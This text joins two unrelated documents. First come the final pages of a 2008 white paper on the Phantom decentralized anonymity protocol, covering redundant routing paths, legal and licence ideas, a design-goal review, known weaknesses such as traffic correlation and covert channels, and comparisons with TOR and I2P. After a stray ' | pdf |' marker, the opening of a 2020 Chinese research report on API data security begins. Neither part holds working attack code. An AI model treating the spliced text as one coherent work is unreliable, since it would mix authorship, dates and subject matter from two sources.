59(68)
7.5. Additional Details
7.5.1.
High-Availability Routing Paths
In the routing path model presented so far, it can be noted that such paths are not resilient to
disappearing nodes inside the path. If only one node becomes unavailable, e.g. shuts down their
computer, the entire routing path will fail, in an irreparable fashion. In some situations this is not a
very critical problem, while in other it makes the protocol less useful. Thus, having access to a
high-availability version of the simple routing path would be an interesting option to have.
Even though the creation of high-availability paths that maintain all the secure properties of the
normal paths isn’t nearly as easy as could be thought at first glance, it is indeed possible, and, in
this section we will see a brief example of such a design.
The high-availability path in this example, having double redundancy for all its nodes, would look
as follows:
Figure 25. High-availability routing path with double redundancy.
One of the first problems encountered in this situation is that the anonymized node itself could
obviously never be redundant. This causes an asymmetry, which, if not handled carefully, would
make it possible for the surrounding X-nodes to know that they are adjacent to the anonymized
node. Since the zero-knowledge property of the protocol in this aspect is an important part of the
total strength of the anonymity it provides, we don’t want to lose this property. This can be solved
by making all high-availability routing paths double-ended, having the actual anonymized node
located somewhere between these two ends, just as can be seen in the figure above.
As can be seen in the figure, all X-nodes now have both a number and a letter in their
designation. The number represents their priority redundancy-wise, and the letter represents their
position throughout the routing path.
A very short description of the workings of the high-availability routing path follows, purposely
incomplete due to the large volume of details necessary to make such a routing path design work
in a secure way:
•
All normal communications go through the X1 nodes, i.e. the ones in the “middle row”.
•
If any of these X1 nodes should become unavailable at any point, data will be immediately
routed around this new “hole” in the path by going through the corresponding X2 node instead
(and if this node should also be unavailable, the corresponding X3 node will be used instead),
without disrupting the active connection or losing data in any way.
•
The communication will be immediately routed back to the main X1 path right after this point.
•
When a node malfunction such as this is detected, it will be immediately communicated to the
anonymized node, through a separate command channel, which will in turn repair the routing
path by replacing the lost node with a new node, using techniques similar to those used when
building normal routing paths. All seamlessly while keeping the connection alive and active.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
60(68)
8. Legal Aspects and Implications
8.1. On a Technical Level
In order to exemplify what kind of protection the Phantom protocol really offers, and the limitations
of the same, let us use one of the most extreme real-world examples of today, where people are
being ferociously persecuted by powerful organizations online. Namely, file sharing.
As it now stands, in some jurisdictions a user can be sued for being connected to a torrent
containing copyrighted material. Questionable evidence gathering methods aside, it might
nevertheless still be claimed that the user in question willingly connected to and participated in
the given torrent. These are perfectly valid grounds to sue someone today (which in practice
occurs in the form of a John Doe lawsuit against the IP address in question, through which the
court will later discover the true identity of the person behind this IP address, by means of a court
order issued against the ISP owning the IP address).
The “next step” in this scenario might be the ability to sue someone for just using certain file
sharing programs or protocols, no matter the content being accessed, or distributed, by the
person in question. As far as the author of this paper knows, this has not happened yet, but the
boundaries within this and similar fields are constantly being pushed forward, so it would not be
overwhelmingly surprising if such legal actions were to be attempted.
Going yet a step further, generic anonymization protocols like Phantom enables people to
anonymize all kinds of Internet communication, be they political discussions, communications
between people in repressed regimes and people in the outside world, and also things like file
sharing. This potential for “socially valuable” utility makes it much harder to altogether ban the
use of such protocols, and thus, presents the opportunity for a protocol such as Phantom to
facilitate and enhance the cause of free and uncensored Internet communication.
In the specific example of file sharing, it might still be claimed that people who are “unwittingly”
participating in routing file sharing connections through their Phantom enabled computer could
still be sued, by means of their IP addresses (i.e. the exit/entry nodes of routing paths). There
are, however, some considerable differences between the current litigation models and the
participation in a Phantom network. First of all, a Phantom network participant is not in any way
willingly participating in the activities against which such a lawsuit is directed. Even more
importantly, the user participating in the Phantom network does not in any way have access to
any of the potentially “illegal” information itself, due to the encryption being employed to protect it.
This makes the participant’s computer more or less equal to any router on the Internet through
which an encrypted connection containing illegal information might pass, and I wouldn’t guess
that any of those are to be sued anytime soon.
The next step that hypothetical Internet censors might take would be to altogether ban encryption
on the Internet. This would of course make protocols like Phantom (and a very large group of
other protocols) illegal, but such a turn of events would be extremely difficult to get enacted, due
to the extreme consequences it would have in a wide variety of fields. Nor would it be easy to
enforce. This author would rather say that it would be quite impossible to do so.
The last resort for overzealous Internet censors would be to ban the use of Internet altogether,
which would of course also seem like an impossible task, considering its use and integration into
the very fabric of society today.
So, the only remotely realistic, while still seemingly quite difficult, avenue of attacking the protocol
and/or its users, would seem to be to attempt to sue users who unwittingly have encrypted pieces
of “illegal information” passing through their computers. In order to potentially limit the effective-
ness of such claims, the license of the protocol and its implementations could possibly be
optimized with the goal of countering or limiting such claims, which will be discussed in the next
section.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
61(68)
8.2. On a Legal/License Related Level
As mentioned in the previous section, the only even remotely realistic way of attempting to attack
the deployment and use of the protocol (still without any possibility to track down its anonymized
users though) would be to attempt to sue the users owning the entry and exit nodes of routing
paths, despite the fact that these are in no way willingly sponsoring any of the communication
that passes through their computers, nor have access to, or specific knowledge of, any of its
contents.
In order to make such legal attacks even more difficult, it would perhaps be possible to make
some adaptations to the license of the protocol and its implementations (do note that I in no way
claim to have any legal skills, so this is just hopeful speculation!).
Put as simply as possible, such a license tweak would amount to stating in the license of the main
protocol specification that any and all implementations of it will have to use a certain EULA.
This EULA, in turn, would state that through use of the protocol implementation in question, the
user understands, and agrees, that no node in the anonymous network may be held responsible
for any of the data that is being routed through it, due to the simple fact that the user neither
controls what such data may contain, nor has any possibility whatsoever of accessing the data
itself, and that thus, no data gathered through use of the specific protocol implementation may be
used in support of a lawsuit against any of its users who are just routing data.
If such a license and EULA clause would work as intended (I’m quite sure there will be several
different kinds of problems with it though, but hopefully it would contribute at least somewhat to
the security of the protocol), it would put any would-be Internet censor in somewhat of a
predicament, since if they use the protocol specification to create their own implementation, they
will be breaking the main protocol license if they don’t include the specified EULA, and if they use
any legal protocol implementation, i.e. one using the specified EULA, they have been explicitly
informed about the innocence of the intermediate notes of routing paths (which are the only
nodes whose IP address they will ever know), and are also forbidden, by their own express
agreement, from gathering data with it for any lawsuit.
Oh well, as mentioned above, just a crazy idea, which will most likely not be fully effective in all
countries, but still, hopefully at least partly efficient in some countries.
In order to get it right from the start, it is hereby announced that this protocol implementation is
released under this exact license.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
62(68)
9. Review of Design Goals
This chapter will try to assess how well the design that has been presented matches the initially
established design goals. This will be done by reviewing the design goals one by one, and
matching them up with features of the presented protocol design that fulfill and realize them.
9.1. Matching of Design Goals with Features of the Protocol
9.1.1.
Complete Decentralization
•
The protocol design has no central points, or even nodes that are individually more valuable
to the collective functionality of the anonymous network than any other.
•
Thus, there are no single points of the network to attack, neither technically nor legally, in
order to bring down any other parts of the network than those specific ones attacked.
9.1.2.
Maximum Resistance against All Kinds of DoS Attacks
•
Resistance against all kinds of DoS attack vectors has been of constant concern during the
design process of the protocol. It is always impossible to defend against all kinds of attacks
that can in any way affect the operation of a technical solution (giant meteor smashing the
earth to pieces, anyone?), and this is also an area that can always be improved infinitely
(sadly in many cases at the expense of performance or resource use), but it is my sincere
hope and belief that the design in its current form should make the protocol resilient enough
to survive the expected and predictable kinds of attacks current on the Internet of today.
9.1.3.
Theoretically Secure Anonymization
•
Each and every part of the design of this protocol has been created with (theoretically) secure
anonymization in mind. It is a very difficult problem for which to present a unified theoretical
proof, and as mentioned before, some of the prerequisites and design goals forces us to use
a design that is in some situations only probabilistically secure (meaning that if the same
attacker owns all the randomly selected nodes in a routing path, they could theoretically
connect the AP address and IP address of the anonymized node owning the same routing
path, thus compromising its anonymity). That being said, the design is optimized to also
minimize the probability factors of the probabilistic risks, and even make them arbitrarily small
by individual user selection, with performance loss for your own communication as the trade-
off. As with most non-theoretically provable security systems, however, I guess that, in the
end, the truth will be decided only by the test of time (or possibly even at once by the
collected hacker elite of the world, when this paper is presented in Las Vegas, but hopefully
not). I can only hope that I have been able to present the different parts of the protocol in a
way that makes them understandable and clear enough to enable efficient analysis and
consideration.
9.1.4.
Theoretically Secure End-to-End Encryption
•
It is made impossible for any node in a routing tunnel or routing path to decrypt anything
being sent locally inside this tunnel, by means of symmetrical stream encryption of each
individual byte in all communicated data.
•
SSL connections are used as an external shell for all connections going between nodes in the
protocol, ensuring that no external attacker can eavesdrop on any data.
•
SSL equivalent functionality is also suggested to always be applied inside each anonymized
connection being made over the anonymized network (i.e. already being inside the external
SSL shell and the symmetrical stream encryption provided by all routing paths).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
63(68)
9.1.5.
Complete (Virtual) Isolation from the "Normal" Internet
•
It is impossible to contact and communicate with any regular IP address on the Internet from
inside the anonymous network, unless the computer at the IP address has willfully installed a
Phantom client on the computer. Thus, the network cannot be used to anonymously commit
illegal acts against any computer that has not itself joined the anonymous network, and thus
accepted the risks involved in anonymous communication.
9.1.6.
Maximum Protection against Protocol Identification/Profiling
•
SSL connections are used as an external shell for all connections used by the protocol, and
by default they also use the standard web server SSL port (tcp/443). Thus, neither the port
number nor any of the contents of the communication can be directly used to distinguish it
from common secure web traffic (there are of course always enough advanced traffic analysis
methods to identify certain kinds of traffic, or at least distinguish traffic from a certain other
kind of traffic, but if this is made sufficiently difficult, it will take up too much resources or
produce too many false positives to be practically and commercially viable).
9.1.7.
High Traffic Volume and Throughput Capacity
•
Due to the design of the protocol, there is no practical way for a node to know if it is
communicating directly with a certain node on the anonymous network, or rather with the
terminating node of one of its routing paths. Thus, single point-to-point connections between
two nodes on the anonymous network, without any intermediate nodes at all, can be
performed while still preserving a great measure of anonymity, or at least anonymity in the
form of “reasonable doubt”, which is all that is needed in many cases. This in turn will enable
the transfer of very large data volumes, at speeds similar to normal, non-anonymized, Internet
traffic, without for that matter using excessive resources, either from the underlying network
or the participating nodes in the network.
9.1.8.
Generic, Well-Abstracted and Backward Compatible Design
•
The protocol emulates generic TCP communication, ready to be used for anything that
common TCP communication can be used for, but in an anonymized way.
•
UDP communication could also be implemented if desired, either by simply tunneling it
over the common TCP-equivalent connections, or by using an identical design based on
UDP communication altogether.
•
The design is also abstracted in a way that each individual part of the protocol design (e.g.
the establishment of routing paths, the establishment of routing tunnels or secure end-to-end
communication) can be exchanged or redesigned without the other parts being affected or
having to be redesigned at the same time.
•
As has been presented, the anonymization protocol can be transparently applied to any
already existing networking-enabled application, by means of some simple binary hooks,
without either help from the original author or having the application itself knowing anything
about it.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
64(68)
10.
Known Weaknesses
In this section, some of the known weaknesses and avenues of attacking the protocol will be
presented and summarized.
1. If all the nodes in a routing path are being controlled by the same attacker, this attacker can
synchronize the information of the individual intermediate nodes in a way that the
anonymized node can be bound to the terminating intermediate node of the routing path (i.e.
the entry/exit node).
•
In the case of a pure exit path, this will only result in the attacker being able to monitor
which other AP addresses the anonymized node is communication with through this
specific tunnel.
•
In the case of an entry path, the attacker will be able to discover the connection between
the AP address of the path and the IP address of the anonymized node that owns it, and
thus be able to know the identity behind this AP address in a more permanent fashion
(until the anonymized node changes it’s AP address anyway, if ever).
•
Under no circumstances, however, will the attacker be able to take part of any of the data
being transported over the routing path, due to the end-to-end encryption that is always
employed for all communications in the Phantom network.
•
One very important detail is that it will be very difficult for the attacker to conclusively
know that its nodes actually constitute the entire path, because the last node in the path
before the anonymized node will never be able to determine if it is actually
communicating with the anonymized node itself, or with just yet another intermediate
node in a routing path. This is indeed a very important strength of the protocol design.
2. If a specific attacker would be able to monitor and correlate all network traffic throughout an
entire routing tunnel, this attacker would be able to trace the routing path backwards or
forward from one of its endpoints to the other (by means of seeing that the exact amount of
bytes that arrive to a node is being sent along to another node immediately after it has
arrived to the first node, in a repeated fashion), thus successfully executing an attack with
the same consequences as in item 1 above, but also in addition not having to be in doubt
regarding whether the tunnel is really being terminated at the last node the attacker knows
about or not.
•
Some anonymization protocols solve this problem (well, at least try to anyway), by
explicitly delaying data in each routing point, and in some cases even by adding junk
data connections in each step. However, since such a concept would not at all align with
the Phantom design goal of being a high throughput network, the best solution is most
likely rather to optimize the intermediate node selection algorithms in such a way that
nodes are chosen that are not likely to be under the control and correlation capability of
the same attacker, e.g. selecting the IP addresses for these nodes in such a way that
they are not located at the same ISP, or not even in the same country or part of the
world. This will of course also have a negative impact on throughput, so such an
optimization is probably best made available as a user individual option, since this choice
only affects the user’s own anonymity and throughput, and nothing else.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
65(68)
3. Individual intermediate nodes in a routing path could try to communicate their identity (i.e. IP
address) to other non-adjacent intermediate nodes throughout the same routing path, by
means of different kinds of covert channels. Such covert channels would include coding
information into the timing between data chunks being sent over the tunnel, or into the size
of these data chunks. The only information that would need to be communicated from one
attacker node to another would be their IP address, by which they could then connect
directly to each other separately to exchange arbitrary amounts of information.
•
This is a real threat indeed, but again, due to the fact that none of these attacker nodes
can be certain about whether it is adjacent to the anonymized node itself or not, the
damage is luckily somewhat limited. And again, no actual data from the tunnel could ever
be eavesdropped upon.
•
Countermeasures in the form of micro delays and data chunk size reorganization in
intermediate nodes could be more or less successfully employed against these kinds of
attacks, but none of these protective measures will ever be 100% secure, so this threat
should indeed be taken seriously.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
66(68)
11.
Comparison with Other Anonymization Solutions
11.1. Advantages of Phantom over TOR
Some advantages of Phantom compared to TOR are:
•
Phantom is designed from the ground up with current and future anonymization needs and
demand in mind.
•
Phantom is compatible with all existing and future network enabled software, without any
need for adaptations or upgrades.
•
Phantom has much higher throughput, not being limited by a specific number of out-proxies.
•
If the “self eliminating” reasonable doubt inducing design of Phantom is taken into
consideration, the maximum network throughput level is even equal to that of normal non-
anonymized communication!
•
Another throughput generating design detail is the possibility of selecting your own routing
nodes, thus being able to pick ones that are close to yourself on high-speed connections.
•
Phantom has no maximum limit for how much data can be transferred, while TOR explicitly
forbids any larger volumes of data being transferred through it.
•
The Phantom network is isolated from the rest of the Internet, and thus, no participating node
ever has to worry about any kind of criminal act being perpetrated against targets on the
“common Internet” from their own IP address. Only nodes that have willingly joined and
explicitly accepted the risks of being reachable by anonymous communication can be targets
of anything bad, and thus, they also have the possibility to regulate what services they make
available to the anonymous network, which even further reduces this risk.
•
Even so, any person can easily create an “out-proxy” specific to incoming traffic to their
own network or servers, which would enable anonymous access only to this limited
network space. Therefore, the advantages of TOR out-proxies are in no way lost, just
selectively accessible, and with the possibility of much better control.
•
The secrecy of all information being transferred through the Phantom network is always
inherently assured, through the use of integrated and mandatory PKI and asymmetric end-to-
end encryption.
•
Attacks like the “out-proxy sniffing” being possible in the TOR network are impossible with
the Phantom network, due to this enforced end-to-end encryption.
•
The “DNS leak” and similar kinds of attacks, that have gotten some attention in connection to
the use of TOR, are made impossible by Phantom. This is because all network communi-
cation operations in the anonymized application (or even the entire operating system if so
preferred) are being hooked at the operating system level. Thus, a user mode application is
unable to bypass the redirection of traffic even if it wanted to, and even more so if someone
attempted to trick it into doing so.
•
Phantom better prevents positive identification through traffic analysis, through the exclusive
use of common SSL connections for its traffic (as an “outer shell” that is). This makes it much
harder to automatically block at the ISP level, since any attempts to automatically block it
would most likely bring with it large amounts of false positives in the form of common
legitimate encrypted web traffic (HTTPS) being blocked. ISPs would want to prevent such
false positives at all costs, since web surfing stability is one of the veritable central bench-
marks for how customers experience the quality of the services delivered by any ISP.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
67(68)
11.2. Advantages of Phantom over I2P
Some advantages of Phantom compared to I2P4 are:
•
Phantom is compatible with all existing and future network enabled software, without any
need for adaptations or upgrades.
•
Phantom has higher throughput, having an explicit focus on high throughput rather than low
latency.
•
If the “self eliminating” reasonable doubt inducing design of Phantom is taken into
consideration, the maximum throughput is even equal to normal non-anonymized
communication!
•
Another throughput generating design detail is the possibility of selecting your own routing
nodes, thus being able to pick ones that are close to yourself on high-speed connections.
•
The secrecy of all information being transferred through the Phantom network is always
inherently assured, through the use of integrated and mandatory PKI and asymmetric end-to-
end encryption.
•
Since version 0.6, I2P no longer supports end-to-end encryption in all cases.
•
Phantom better prevents positive identification through traffic analysis, through the exclusive
use of common SSL connections for its traffic (as an “outer shell” that is). This makes it much
harder to automatically block at the ISP level, since any attempts to automatically block it
would most likely bring with it large amounts of false positives in the form of common
legitimate encrypted web traffic (HTTPS) being blocked. ISPs would want to prevent such
false positives at all costs, since web surfing stability is one of the veritable central bench-
marks for how customers experience the quality of the services delivered by any ISP.
11.3. Advantages of Phantom over Anonymized File Sharing Software
There already exists some file sharing applications with built-in anonymization of different
degrees and levels of quality. Without going into their specific technical properties, it can quickly
be established that these are much more likely to be the victims of “general bans” of the entire
protocol or application, since it is much easier to claim that “X% of all files shared through this
protocol are illegal, there are also protocols with equal file transfer capability, and thus it would be
justified to ban/block this protocol altogether”.
When it comes to generic anonymization protocols like Phantom, it is completely impossible to
make any estimate of how large a part of its traffic is being used for any certain kind of activity,
since the only way to know what is being transferred through a Phantom connection it to be one
of the end-points of the communication itself, i.e. either being the origin or the intended receiver
of the transferred data.
And then last, but absolutely not least, there are of course a lot more activities benefitting from
anonymization than just file transfer and file sharing. So, making the anonymization protocol
generic and non-application specific does certainly increase its usefulness and potential, by
several orders of magnitude, just by itself.
4 http://www.i2p2.de
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
68(68)
12.
Summary and Future of the Protocol
This white paper is in no way a complete protocol specification, far from it actually. Its main goal
is rather to provide suggestions for solutions for several typical problems that are bound to arise
when designing a decentralized anonymization protocol and collect them all in a comprehensive
and more or less easily digested single source of documentation which could hopefully work as
some kind of reference point for any discussions that may be inspired by it.
The author of this paper sees a great potential and future demand for a generic anonymization
protocol that has most, or all, of the stipulated properties of the Phantom protocol. Knowing that
the actual creation of a secure protocol of the proposed design, along with all things related to
such an endeavor, normally requires both the knowledge, resources and review of many well
qualified contributors, this paper is mainly an attempt to induce discussion, and inspire a more
organized design and development project focused on creating such a protocol, not necessarily
having all the exact properties and design details of the Phantom protocol at all. In order to
minimize any future design and implementation effort, and in order to isolate the important
questions specific to anonymity, care was also taken to build upon well-known and robust existing
technologies where suitable, e.g. SSL and distributed hash tables.
The work on this project was started long before the idea of presenting it at a conference arose.
Since such a presentation is perfectly aligned with the goal of maximizing the outreach and
potential to inspire discussion, however, it was a given path of action once it came to mind.
Finally, it should be noted that several previous protocol designs and implementations exist that
share some of the properties and features of the Phantom protocol. The author of this paper
however, found it to be an interesting challenge to take one step back, to really think through
which design goals would be most desired and important in such a protocol of today and the
future, and then demonstrate by more or less detailed example that a protocol following these
design criteria could, indeed, practically be brought together as a whole.
One current, particularly promising anonymization protocol, among those of which this author is
currently aware, which is also the one sharing most properties with Phantom (although still
lacking several of them, as listed in the previous section), is the I2P protocol. Readers are indeed
encouraged to give it a closer look, in the hope of such examination inspiring even more fruitful
discussions.
12.1. Central Project Location
A Google Code repository has been reserved for the project, which will hopefully be able to work
as a central coordinating location for future design, development and implementation of the
Phantom protocol and the ideas inspired by it.
It hosts a code repository, a discussion group, a wiki and a blog, and all the other common tools
enabling participants to collaborate in such a shared project.
It can be found here:
http://code.google.com/p/phantom
Just as with any other community project, In order to live on and thrive, the Phantom project
needs dedicated and knowledgeable people to participate and contribute. Thus, if you want to be
a maintainer, developer or otherwise part of the project, please don’t hesitate to join in at any time
at the project site, or to contact me directly5!
5 magnus.brading [at] fortego.se | pdf |
应用程序接口（API）
数据安全研究报告
（2020 年）
中国信息通信研究院安全研究所
2020 年 7 月
版权声明
本报告版权属于中国信息通信研究院安全研究所，并受
法律保护。转载、摘编或利用其它方式使用本报告文字或者
观点的，应注明“来源：中国信息通信研究院安全研究所”。
违反上述声明者，本院将追究其相关法律责任。
前
言
伴随着云计算、大数据、人工智能等技术的蓬勃发展，移动互
联网、物联网产业加速创新，移动设备持有量不断增加，Web 应用、
移动应用已融入生产生活的各个领域。这一过程中，应用程序接口
（Application Programming Interface，API）作为数据传输流转
的重要通道发挥着举足轻重的作用。API 技术不仅帮助企业建立与客
户沟通的桥梁，还承担着不同复杂系统环境、组织机构之间的数据
交互、传输的重任。然而，在 API 技术带来上述积极作用的同时，
与其相关的数据安全问题也日益凸显。
近年来，国内外曝出多起与 API 相关的数据安全事件，严重损
害了相关企业、用户的合法权益。我国多个行业已出台相关规范性
文件，覆盖通信、金融、交通等诸多领域，对 API 安全提出了一定
要求，对其技术部署、安全管理等进行规范。然而当前已研制标准
主要针对特定 API 类型、应用场景提出要求，尚未全面覆盖 API 数
据安全，相关标准规范体系有待完善。
本报告围绕近年来 API 安全态势，分析梳理了 API 技术面临的
内、外部安全风险，针对事前、事中、事后不同阶段的安全需求差
异，从 API 安全管理、防护手段、风险管控等多角度为企业实现高
效、灵活的 API 安全实践提出了针对性建议。
技术支持：
全知科技（杭州）有限责任公司
联系人：
王丹辉
中国信息通信研究院
电子邮件：[email protected]
解伯延
中国信息通信研究院
电子邮件：[email protected]
朱通
全知科技（杭州）有限责任公司
费嫒
全知科技（杭州）有限责任公司
目
录
一、 API 的基本情况..................................................................................................1
（一） API 简介............................................................................................... 1
（二） API 分类及组成要素........................................................................... 2
1. API 分类.............................................................................................2
2. API 组成要素.....................................................................................3
（三） API 安全标准化情况........................................................................... 4
二、 近年来 API 安全态势.......................................................................................10
（一） Facebook 多起数据泄露事件与 API 有关....................................... 10
（二） 美国邮政服务 API 漏洞导致用户信息泄露.................................... 11
（三） T-Mobile API 漏洞导致用户账号被窃取....................................... 11
（四） Twitter 虚假账户利用 API 批量匹配用户信息............................. 12
（五） 考拉征信非法出售 API 导致个人信息泄露.................................... 12
（六） 新浪微博用户查询接口被恶意调用导致数据泄露........................ 12
（七） 微信团队收回小程序"用户实名信息授权"接口............................ 13
三、 安全风险分析...................................................................................................13
（一） 外部威胁因素.................................................................................... 13
1. API 漏洞导致数据被非法获取.......................................................14
2. API 成为外部网络攻击的重要目标...............................................14
3. 网络爬虫通过 API 爬取大量数据..................................................14
4. 合作第三方非法留存接口数据......................................................15
5. API 请求参数易被非法篡改...........................................................15
（二） 内部脆弱性因素................................................................................ 16
1. 身份认证机制..................................................................................16
2. 访问授权机制..................................................................................17
3. 数据脱敏策略..................................................................................17
4. 返回数据筛选机制..........................................................................18
5. 异常行为监测..................................................................................18
6. 特权账号管理..................................................................................19
7. 第三方管理......................................................................................19
四、 安全建议...........................................................................................................20
（一） 事前.................................................................................................... 20
1. 统一 API 设计开发规范，减少安全隐患......................................20
2. 强化 API 上线、变更、下线环节实时监控，确保全生命周期安全
................................................................................................................20
3. 完善 API 身份认证和授权管理机制，强化接口接入安全审核..21
4. 健全 API 安全防护体系，提升抵御外部威胁能力......................21
5. 加大 API 安全保护宣传力度，提高员工安全意识......................22
（二） 事中.................................................................................................... 22
1. 加强 API 身份认证实时监控能力建设..........................................22
2. 加强异常行为实时监测预警能力建设..........................................22
3. 加强数据分类分级管控能力建设..................................................23
4. 加强 API 数据流向监控能力建设..................................................23
（三） 事后.................................................................................................... 24
1. 建立健全应急响应机制..................................................................24
2. 建立健全日志审计机制..................................................................24
3. 建立健全数据泄露溯源追责机制..................................................25
五、 附录...................................................................................................................26
（一） 全知科技 API 安全实践.................................................................... 26
1. 开放 API 安全实践..........................................................................26
2. 面向合作方 API 安全实践..............................................................29
3. 内部 API 安全实践..........................................................................31
（二） 观安 API 安全实践............................................................................ 34
1. 安全方案..........................................................................................34
2. 技术手段..........................................................................................35
3. 实践应用..........................................................................................38
4. 发展趋势..........................................................................................40
（三） 爱加密 API 安全实践........................................................................ 41
1. 安全方案..........................................................................................41
2. 技术手段..........................................................................................43
3. 实践应用..........................................................................................44
4. 产品研发..........................................................................................47
表
目
录
表 1
相关国家标准例举............................................................................................5
表 2
相关通信行业标准例举....................................................................................6
表 3
相关金融行业标准例举....................................................................................8
表 4
相关交通行业标准例举....................................................................................9
应用程序接口（API）数据安全研究报告（2020 年）
1
一、API 的基本情况
伴随着云计算、移动互联网、物联网的蓬勃发展，越来越多的
开发平台和第三方服务快速涌现，应用系统与功能模块复杂性不断
提升，应用开发深度依赖于应用程序接口（Application Programming
Interface，API）之间的相互调用。近年来移动应用深入普及，促
使社会生产、生活活动从线下转移到了线上，特别在此次新冠肺炎
疫情期间，协同办公、在线教育、便民服务等领域移动应用积极助
力复工复产，各地依托大数据推出“健康码”等疫情防控新举措，
API 在其中起到了紧密链接各个元素的作用。为满足各领域移动应用
业务需要，API 的绝对数量持续增长，通过 API 传递的数据量也飞速
增长。API 技术借助移动应用蓬勃发展的势头融入社会经济的方方面
面，不仅为数据交互提供了便利，并且推动了企业、组织机构间的
沟通和对话，甚至创造了新的经济模式：API 经济。
（一）API 简介
API 是预先定义的函数，为程序之间数据交互和功能触发提供服
务。调用者只需调用 API，并输入预先约定的参数，即可实现开发者
封装好的各种功能，无需访问功能源码或理解功能的具体实现机制。
从功能角度来看，API 是前端调用后端数据的通道；从业务角度
来看，API 是将封装后的应用对外开放的访问接口。在信息系统内部，
随着业务功能的逐渐细化，各个功能模块之间需要利用 API 技术来
进行协调；在信息系统外部，API 承担着与其他应用程序进行交互的
应用程序接口（API）数据安全蓝皮报告（2020 年）
2
重要任务。
（二）API 分类及组成要素
1.API 分类
API 技术应用广泛，可满足不同领域、不同业务的数据传输和操
作需求，在包括软件开发工具包（Software Development Kit，SDK）、
Web 应用、网关等诸多领域均可发现 API 的身影。因此，从应用领域
角度难以合理清晰地区分其种类。为此，本报告从 API 开放程度和
API 核心技术两个维度进行分类介绍。
（1）按 API 开放程度分类
从 API 的开放程度出发，API 可以分为开放 API、面向合作方 API
和内部 API。
开放 API 是面向公网开放的接口，此类 API 允许公众调用。调
用者可以是任何人或者机构，不需要和 API 提供者建立合作关系，
例如公司门户网站等。
面向合作方 API 指的是企业或组织用来与外部合作伙伴进行沟
通、交流和系统集成的 API，例如面向外包机构、设备供应商等。
内部 API 仅在企业或组织内部使用，用来协调内部不同系统、
应用之间的调用关系，例如 CRM 系统 API、薪资系统 API 等。
（2）按 API 核心技术分类
从 API 核心技术进行划分，可分为简单对象访问协议（Simple
应用程序接口（API）数据安全蓝皮报告（2020 年）
3
Object Access Protocol，SOAP）API，RESTful（Representational
State Transfer，REST）API 及远程过程调录（Remote Procedure Call，
RPC）API。
SOAP API 是指使用 Web 服务安全性内置协议的 API。基于 XML
协议，此类 API 技术可与多种互联网协议和格式结合使用，包括超
文本传输协议（HTTP）、简单邮件传输协议（SMTP）、多用途网际
邮件扩充协议（MIME）等。
RPC API 是指使用远程过程调录协议进行编程的 API，RPC 技术
允许计算机调用其他计算机的子系统，并定义了结构化的请求方式。
不同于上述两类依托于协议的 API 技术，RESTful API 是一种架
构，其通过 HTTP 和 JSON 进行传输，不需要存储或重新打包数据，
同时支持 TLS 加密。
2.API 组成要素
API 通常包含如下组成要素，在这些要素的共同作用下，API 才
能发挥预期作用。
（1）通信协议：API 一般利用 HTTPS 等加密通讯协议进行数据
传输，以确保数据交互安全。
（2）域名：用于指向 API 在网络中的位置。API 通常被部署在
主域名或者专用域名之下，接入方可通过域名调用相关 API。
（3）版本号：不同版本的 API 可能存在巨大差异，尤其对于多
版本并存、增量发布等情况，API 版本号有助于准确区分 API 的参数
应用程序接口（API）数据安全蓝皮报告（2020 年）
4
设置。
（4）路径：路径又称“终点”（end point），指表示 API 及
API 执行功能所需资源的具体地址。
（5）请求方式：API 常用的请求方式有 GET、POST、PUT 和 DELETE
四种，分别用于获取、更新、新建、删除指定资源。
（6）请求参数：即传入参数，包含数据格式、数据类型、可否
为空以及文字描述等内容。传入参数主要包括 Cookie、Request
header、请求 body 数据和地址栏参数等。
（7）响应参数：即返回参数或传出参数，返回参数本身默认没
有值，用于带出请求参数要求 API 后台所返回的数据。
（8）接口文档：接口文档是记录 API 相关信息的文档，内容包
括接口地址、请求方式、传入参数（请求参数）和响应参数等。
（三）API 安全标准化情况
近年来，我国陆续出台多部数据接口有关标准，对数据接口在
不同领域的应用、部署、管理、防护等进行了规范。
在国家标准层面，我国多部现行及制定中的国家标准针对 API
安全提出了安全要求。GB/T 35273-2020《信息安全技术 个人信息
安全规范》将 API 开发、调用与个人信息安全相结合，明确指出“个
人信息控制者在提供产品或服务的过程中部署了收集个人信息的第
三方插件（例如网站经营者与在其网页或应用程序中部署统计分析
工具、软件开发工具包 SDK、调用地图 API 接口），且该第三方并未
应用程序接口（API）数据安全蓝皮报告（2020 年）
5
单独向个人信息主体征得收集、使用个人信息的授权同意，则个人
信息控制者与该第三方为共同个人信息控制者。”制定中的国家标
准 GB/ XXXX-XX《信息安全技术 政务信息共享 数据安全技术要求》
要求共享交换过程中涉及的授权方（共享数据提供方、共享交换服
务方）“支持资源文件、库表、接口等各共享方式上不同粒度的权
限控制”，并在级联接口安全方面要求“共享交换服务方应采用密
码技术对共享交换系统间的级联接口进行安全防护，保障通过级联
接口传递的数据的保密性和完整性。”
表 1 相关国家标准例举
序号
标准编号
标准名称
1
GB/T 35273-2020
《信息安全技术 个人信息安全规范》
2
GB/T 36478.4-2019 《物联网 信息交换和共享 第 4 部
分：数据接口》
3
GB/T 21062.3-2007 《政务信息资源交换体系 第 3 部分：
数据接口规范》
4
GB/T 19581-2004
《信息技术 会计核算软件数据接口》
5
GB/ XXXX-XX
《信息安全技术 政务信息共享 数据
安全技术要求（征求意见稿）》
来源：中国信息通信研究院
在通信行业标准方面，随着云计算、移动互联网等领域的快速
发展，通信行业针对特定 API 类型、API 应用场景等制定了一系列标
